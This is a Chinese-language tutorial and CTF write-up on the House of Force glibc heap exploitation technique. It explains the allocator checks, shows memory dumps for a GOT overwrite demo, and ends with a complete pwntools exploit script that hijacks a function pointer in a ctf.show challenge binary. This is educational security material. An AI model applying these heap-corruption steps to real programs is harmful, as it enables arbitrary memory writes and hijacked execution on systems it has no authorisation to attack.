House of Force攻击

原理

House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

House Of Force 产生的原因在于 glibc 对 top chunk 的处理,根据前面堆数据结构部分的知识我们得知,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk 指向我们期望的任何位置,这就相当于一次任意地址写。然而在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

然而,如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证,这也就是我们前面说的需要一个能够控制 top chunk size 域的漏洞。

1
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

一般的做法是把 top chunk 的 size 改为 - 1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说 unsigned long 中最大的数,所以无论如何都可以通过验证。

1
2
3
4
5
remainder      = chunk_at_offset(victim, nb);
av->top = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

之后这里会把 top 指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意值 (write-anything-anywhere)。

与此同时,我们需要注意的是,topchunk 的 size 也会更新,其更新的方法如下

1
2
3
4
victim = av->top;
size = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。

简单示例

在学习完 HOF 的原理之后,我们这里通过一个示例来说明 HOF 的利用,这个例子的目标是通过 HOF 来篡改 malloc@got.plt 实现劫持程序流程

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

首先,我们分配一个 0x10 字节大小的块

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

之后把 top chunk 的 size 改为 0xffffffffffffffff,在真正的题目中,这一步可以通过堆溢出等漏洞来实现。 因为 -1 在补码中是以 0xffffffffffffffff 表示的,所以我们直接赋值 -1 就可以。

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff <=== top chunk size域被更改
0x602030: 0x0000000000000000 0x0000000000000000

注意此时的 top chunk 位置,当我们进行下一次分配的时候就会更改 top chunk 的位置到我们想要的地方

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:    0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <=== top chunk此时一切正常
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

接下来我们执行malloc(-4120);,-4120 是怎么得出的呢? 首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 malloc@got.plt 的地址

1
0x601020:   0x00007ffff7a91130 <=== malloc@got.plt

所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 malloc@got.plt 处的内存了。

之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移如下

0x601010-0x602020=-4112

此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。

1
void *__libc_malloc(size_t bytes) {

如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小,即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。

  • MALLOC_ALIGN_MASK : 是用于对齐的掩码。
    • 32位 :0x07
    • 64位 :0x0F
  • MALLOC_ALIGNMENT :是对齐的大小
    • 32位 :8字节
    • 64位 :16字节

另一方面,在满足对应的约束后,我们需要使得 request2size正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。

1
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK == -4112
  • 对于对齐情况
    • req = - 距离 - SIZE_SZ
  • 对于没有对齐情况
    • req = - 距离 - SIZE_SZ - MALLOC_ALIGN_MASK

因此,我们当调用malloc(-4120)之后,我们可以观察到 top chunk 被抬高到我们想要的位置

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:\   0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。

但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。

1
2
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));

例题

例题下载 :例题

非常经典的菜单

直接看关键点

edit函数

edit函数存在堆溢出,我们可以通过这个漏洞来控制Top chunk的size字段

main函数

输入5执行gondbye_meessage函数

利用思路:

  1. 通过houseofforce,将topchunk的地址移到记录goodbye_messaged的chunk0处
  2. 再次申请chunk,我们就能分配到chunk0
  3. 将goodbye_message改为后⻔函数的地址
  4. 输⼊5调⽤v4[1],即可获得flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './pwn143_1604'
url = 'pwn.challenge.ctf.show 28117'

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdbscript = '''
b * 0x000000000400AEB
b * 0x000000000400C65
b * 0x000000000400D7D
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()

def show() :
p.sendafter('Your choice:' , b'1')

def add(size , content) :
p.sendafter('Your choice:' , b'2')
p.sendafter('Please enter the length:' , str(size))
p.sendafter('Please enter the name:' , content)

def edit(idx , size , content) :
p.sendafter('Your choice:' , b'3')
p.sendafter('Please enter the index:' , str(idx))
p.sendafter('Please enter the length of name:' , str(size))
p.sendafter('Please enter the new name:' , content)

def delete(idx) :
p.sendafter('Your choice:' , b'4')
p.sendafter('Please enter the index:' , str(idx))


flag = 0x0000000000400D7F
add(0x30 , 'aaaa')
payload = b'a' * 0x38 + p64(0xffffffffffffffff)
edit(0 , 0x41 , payload)
offset = -0x68
add(offset , 'aaaa')
add(0x10 , p64(flag) * 2)

p.interactive()

每一步堆的变换

修改Top chunk的size字段

改变Top chunk的地址

控制goodbye_messaged